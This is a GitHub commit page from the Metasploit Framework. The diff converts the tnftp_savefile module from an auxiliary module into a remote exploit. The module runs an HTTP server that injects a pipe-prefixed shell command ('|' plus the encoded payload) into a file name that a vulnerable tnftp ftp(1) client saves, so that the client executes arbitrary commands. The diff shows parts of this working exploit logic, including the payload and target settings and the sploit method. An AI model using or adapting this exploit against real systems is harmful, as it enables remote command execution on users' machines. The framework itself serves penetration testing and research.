Skip to content

Commit 57fde9d

Browse files
committed
Land rapid7#9160, tnftp_savefile auxiliary to exploit
2 parents 972f9c0 + 87934b8 commit 57fde9d

File tree

1 file changed

+14
-16
lines changed

1 file changed

+14
-16
lines changed

modules/auxiliary/server/tnftp_savefile.rb renamed to modules/exploits/unix/http/tnftp_savefile.rb

Lines changed: 14 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,9 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
class MetasploitModule < Msf::Auxiliary
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
79
include Msf::Exploit::Remote::HttpServer
810
include Msf::Auxiliary::Report
911

@@ -32,22 +34,18 @@ def initialize(info = {})
3234
],
3335
'DisclosureDate' => 'Oct 28 2014',
3436
'License' => MSF_LICENSE,
35-
'Actions' => [
36-
['Service']
37-
],
38-
'PassiveActions' => [
39-
'Service'
40-
],
41-
'DefaultAction' => 'Service'
37+
'Platform' => 'unix',
38+
'Arch' => ARCH_CMD,
39+
'Privileged' => false,
40+
'Payload' => {'BadChars' => '/'},
41+
'Targets' => [['ftp(1)', {}]],
42+
'DefaultTarget' => 0
4243
))
43-
44-
register_options([
45-
OptString.new('CMD', [true, 'Command to run', 'uname -a'])
46-
])
4744
end
4845

49-
def run
50-
exploit
46+
def exploit
47+
start_service
48+
sleep
5149
end
5250

5351
def on_request_uri(cli, request)
@@ -59,7 +57,7 @@ def on_request_uri(cli, request)
5957

6058
if request.uri.ends_with?(sploit)
6159
send_response(cli, '')
62-
print_good("Executing `#{datastore['CMD']}'!")
60+
print_good("Executing `#{payload.encoded}'!")
6361
report_vuln(
6462
:host => cli.peerhost,
6563
:name => self.name,
@@ -79,6 +77,6 @@ def sploit_uri
7977
end
8078

8179
def sploit
82-
"|#{datastore['CMD']}"
80+
"|#{payload.encoded}"
8381
end
8482
end

0 commit comments

Comments
 (0)